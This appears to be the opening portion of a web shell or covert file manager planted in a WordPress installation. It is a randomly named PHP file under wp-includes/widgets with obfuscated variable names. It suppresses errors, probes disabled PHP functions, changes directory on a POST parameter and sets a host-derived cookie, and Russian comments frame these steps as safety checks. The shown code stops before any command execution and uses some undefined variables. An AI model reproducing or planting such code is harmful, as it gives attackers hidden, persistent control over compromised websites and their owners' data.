Current File : /home/virtualki/22346/wp-includes/widgets/cvfyugro.php |
<?php
// Определяем операционную систему, не полагаясь на магические строки
$osFamily = PHP_OS_FAMILY ?? PHP_OS; // PHP 7.2+ поддерживает PHP_OS_FAMILY
switch (strtolower($osFamily)) {
case 'windows':
$ynkzirv = 'win';
break;
default:
$ynkzirv = 'nix';
break;
}
// Использование переменной $ynkzirv ниже
// Например:
// echo "Текущая ОС: $ynkzirv";
// Проверка на устаревший safe_mode исключена, так как он удалён с PHP 5.4
// Вместо этого можно ориентироваться на окружение (например, режим разработки или продакшн)
$isProduction = (ini_get('display_errors') == 0); // Простой способ определить "продакшн"
if ($isProduction) {
// В продакшене отключаем сообщения об ошибках
error_reporting(0);
ini_set('display_errors', '0');
} else {
// В разработке можно включить всё
error_reporting(E_ALL);
ini_set('display_errors', '0');
}
$disabledFunctions = ini_get('disable_functions') ?: '';
$disabledFunctionsList = array_map('trim', explode(',', $disabledFunctions));
// Получаем текущую директорию безопасно
$currentDir = getcwd();
// Меняем директорию, если передано через POST и путь безопасный
if (isset($_POST['vlrso'])) {
$newDir = $_POST['vlrso'];
// Безопасная проверка: путь должен быть строкой, существовать и быть директорией
if (is_string($newDir) && is_dir($newDir)) {
if (!in_array('chdir', $disabledFunctionsList)) {
chdir($newDir);
} else {
// Функция chdir отключена
error_log("chdir is disabled in php.ini");
}
} else {
// Логируем или обрабатываем попытку перейти в несуществующую или запрещённую директорию
error_log("Invalid directory path provided: $newDir");
}
}
$znpciraguli = getcwd();
// Проверяем операционную систему (предположим, что $ynkzirv уже определена)
if ($ynkzirv === 'win') {
// Преобразуем пути с обратными слэшами в прямые для Windows
$qwzlfgax = str_replace("\\", "/", $qwzlfgax);
$znpciraguli = str_replace("\\", "/", $znpciraguli);
}
if (substr($znpciraguli, -1) !== '/') {
$znpciraguli .= '/'; // Добавляем косую черту в конец пути, если её нет
}
$cookieName = hash('sha256', $_SERVER['HTTP_HOST'] . 'ajax');
// Проверяем, установлен ли cookie с этим именем
if (!isset($_COOKIE[$cookieName])) {
// Если cookie не существует, задаём его значение как булевое
setcookie($cookieName, (bool)$zqorizbvsksl, time() + 3600, '/', $_SERVER['HTTP_HOST']);
// Также задаём его в массиве $_COOKIE для текущего запроса
$_COOKIE[$cookieName] = (bool)$zqorizbvsksl;
}